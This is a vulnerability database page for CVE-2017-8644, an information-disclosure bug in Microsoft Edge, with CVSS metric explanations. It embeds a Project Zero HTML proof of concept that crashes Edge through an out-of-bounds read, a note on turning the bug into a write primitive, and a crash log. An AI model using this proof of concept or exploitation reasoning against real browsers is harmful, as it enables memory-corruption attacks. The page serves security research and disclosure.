CVE-2017-8644 : Detail

CVE-2017-8644

4.3
/
Medium
A01-Broken Access Control
17.27%V3
Network
2017-08-08
21h00 +00:00
2024-09-16
17h28 +00:00
CVE.org
NVD
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CVE Descriptions

Microsoft Edge in Microsoft Windows 10 Gold, 1511, 1607, 1703, and Windows Server 2016 allows an attacker to disclose information due to the way that Microsoft Edge handles objects in memory, aka "Microsoft Edge Information Disclosure Vulnerability". This CVE ID is unique from CVE-2017-8652 and CVE-2017-8662.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 4.3 MEDIUM CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

Low

There is some loss of confidentiality. Access to some restricted information is obtained, but the attacker does not have control over what information is obtained, or the amount or kind of loss is constrained. The information disclosure does not cause a direct, serious loss to the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 [email protected]
V2 4.3 AV:N/AC:M/Au:N/C:P/I:N/A:N [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 42459

Publication date : 2017-08-15 22h00 +00:00
Author : Google Security Research
EDB Verified : Yes

<!-- Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1264 The vulnerability has been confirmed on Windows 10 Enterprise 64-bit (OS version 1607, OS build 14393.1198) and Microsoft Edge 38.14393.1066.0, Microsoft EdgeHTML 14.14393. PoC: ========================================== --> <!-- saved from url=(0014)about:internet --> <style> input:focus { transform: scale(10); } </style> <input autofocus="autofocus" type="time"> <!-- ========================================= Preliminary analysis: CInputDateTimeScrollerElement::_SelectValueInternal calls CInputDateTimeScrollerElement::_UpdateSelected with a pointer that is obtained from an array, approximately: CInputDateTimeScrollerElement::_SelectValueInternal(...) { ... this->_UpdateSelected(this->array_at_offset_0xB8[this->index_at_offset_0xD4].ptr_at_index_0, ...); ... } The problem is that the index in the PoC has unsigned 32-bit value of 0xffffffff, possibly because the data structure has not been properly initialized, which leads to out-of-bound access. If an attacker can put data they control at array+offset, they would be able to call this->_UpdateSelected with a controlled argument, which presumably would be sufficient to turn this into a write primitive. Crash log: ========================================= (1afc.1b94): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. edgehtml!CInputDateTimeScrollerElement::_SelectValueInternal+0x57: 00007ffd`625b3903 488b14ca mov rdx,qword ptr [rdx+rcx*8] ds:00000290`617a5788=???????????????? 0:013> k # Child-SP RetAddr Call Site 00 00000086`73dfcee0 00007ffd`625b2f87 edgehtml!CInputDateTimeScrollerElement::_SelectValueInternal+0x57 01 00000086`73dfcf30 00007ffd`61f952b7 edgehtml!CInputDateTimeScrollerElement::OnScroll+0xb7 02 00000086`73dfcf60 00007ffd`61e8fc58 edgehtml!CAsyncEventQueue::DispatchAllEvents+0x9b 03 00000086`73dfcfd0 00007ffd`61e8fc12 edgehtml!CDoc::ProcessPaintBeatEventQueue+0x38 04 00000086`73dfd000 00007ffd`61e22c42 edgehtml!CPaintController::ProcessPaintBeatEventQueue+0x12 05 00000086`73dfd030 00007ffd`61e22aee edgehtml!CPaintBeat::OnBeat+0xf2 06 00000086`73dfd080 00007ffd`61ed5eb3 edgehtml!CPaintBeat::OnVSyncMethodCall+0x5e 07 00000086`73dfd0b0 00007ffd`61ed7670 edgehtml!GlobalWndOnMethodCall+0x273 08 00000086`73dfd1b0 00007ffd`7e0a1c24 edgehtml!GlobalWndProc+0x130 09 00000086`73dfd270 00007ffd`7e0a156c user32!UserCallWinProcCheckWow+0x274 0a 00000086`73dfd3d0 00007ffd`5bc0d421 user32!DispatchMessageWorker+0x1ac 0b 00000086`73dfd450 00007ffd`5bc0c9e1 EdgeContent!CBrowserTab::_TabWindowThreadProc+0x4a1 0c 00000086`73dff6a0 00007ffd`705d9586 EdgeContent!LCIETab_ThreadProc+0x2c1 0d 00000086`73dff7c0 00007ffd`7ec28364 iertutil!_IsoThreadProc_WrapperToReleaseScope+0x16 0e 00000086`73dff7f0 00007ffd`7ed970d1 KERNEL32!BaseThreadInitThunk+0x14 0f 00000086`73dff820 00000000`00000000 ntdll!RtlUserThreadStart+0x21 0:013> r rax=00000000ffffffff rbx=000002786177d770 rcx=00000002fffffffd rdx=00000278617a57a0 rsi=0000027054093eb8 rdi=00000000ffffff00 rip=00007ffd625b3903 rsp=0000008673dfcee0 rbp=0000000000000001 r8=000000000a028001 r9=00007ffd6295a4a0 r10=00000fffac3bb648 r11=0000000000000100 r12=0000000000000004 r13=0000000000000002 r14=00000278617f55b0 r15=0000000000000004 iopl=0 nv up ei pl nz na pe nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 edgehtml!CInputDateTimeScrollerElement::_SelectValueInternal+0x57: 00007ffd`625b3903 488b14ca mov rdx,qword ptr [rdx+rcx*8] ds:00000290`617a5788=???????????????? ========================================= -->

Products Mentioned

Configuraton 0

Microsoft>>Edge >> Version *

Microsoft>>Windows_10 >> Version -

Microsoft>>Windows_10 >> Version 1511

Microsoft>>Windows_10 >> Version 1607

Microsoft>>Windows_10 >> Version 1703

Microsoft>>Windows_server_2016 >> Version *

References

https://www.exploit-db.com/exploits/42459/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securityfocus.com/bid/100044
Tags : vdb-entry, x_refsource_BID
http://www.securitytracker.com/id/1039101
Tags : vdb-entry, x_refsource_SECTRACK